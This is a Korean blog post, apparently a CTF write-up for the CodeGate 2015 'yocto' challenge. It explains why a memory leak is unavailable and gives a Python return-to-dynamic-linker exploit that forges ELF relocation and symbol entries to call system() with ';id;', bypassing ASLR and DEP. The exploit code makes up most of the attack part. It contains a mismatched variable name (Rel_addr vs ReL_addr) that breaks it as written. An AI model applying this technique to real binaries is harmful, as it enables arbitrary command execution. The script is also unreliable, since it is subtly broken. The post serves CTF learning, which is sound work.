본문 바로가기

ctf

[CodeGate 2015 CTF] yocto

코드를 대충 분석해보면..

read 함수를 통해 변수명 glob로 선언된 .bss 영역에 80byte 만큼 입력을 받는다. 그리고 shutdown 함수를 사용하여 소켓의 파일 디스크립터 0, 1, 2 모두 종료한다. 그리고는 문자 <-> 정수 변환 과정을 거치며, 두 번째 "." 문자열 뒤의 값으로 점프한다.

shtudown 함수로 인해 memory leak 을 이용하여 라이브러리 주소를 가져올 수 없다...

 

어떻게 해야할까...? 먼저 우리가 알고 있는 것은,

[!] Dynamic Linking 방식을 사용하고 있다.

[!] Full-RELRO 가 아니다.

[!] 만약 payload 를 넣었을 때, payload가 있는 곳의 주소를 알 수 있다. => .bss 영역

[!] eip 를 조작할 수 있다.

 

위의 조건을 이용하여, Return to Dynamic Linker 기법을 사용할 수 있다.

이 기법을 사용하면.. ASLR 과 DEP 를 우회하여 원하는 함수를 쉽게 호출할 수 있다.

 

- - - - - - - - - - - - - - - - - - - - - - exploit.py - - - - - - - - - - - - - - - - - - - - - -

from struct import *

from sys import *

 

p = lambda x : pack("<L", x)

 

STRTAB = 0x80481fc

SYMTAB = 0x804818c

JMPREL = 0x8048270

GLOB_SPACE = 0x80495c0

dynamic_linker = 0x80482a0

FUNC = "system\0"

 

Rel_addr = GLOB_SPACE + 20

FUNC_addr = ReL_addr + 8

Reloc_offset = Rel_addr - JMPREL

st_name = FUNC_addr - STRTAB 

 

# fake Elf32_Rel

REL = ""

REL += p(0x8049610)

REL += p(0x14607)

 

# fake Elf32_Sym

SYM = ""

SYM += p(st_name)

 

# exploit payload

payload = ""

payload += "." + str(Reloc_offset) + "." + str(dynamic_linker)

payload += ";id;"

payload += "A" * (20 - len(payload))

 

payload += REL

payload += FUNC

payload += "\x00" * 9

payload += SYM

 

print payload

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

'ctf' 카테고리의 다른 글

[CodeGate 2015 CTF] bookstore  (0) 2016.11.14
[CodeGate 2015 CTF] systemshock  (0) 2016.07.30
[CodeGate 2014 CTF] 4stone  (0) 2016.06.24
[CodeGate 2014 CTF] dodoCrackme  (0) 2016.06.11
[Plaid 2013 CTF] pork  (0) 2016.06.03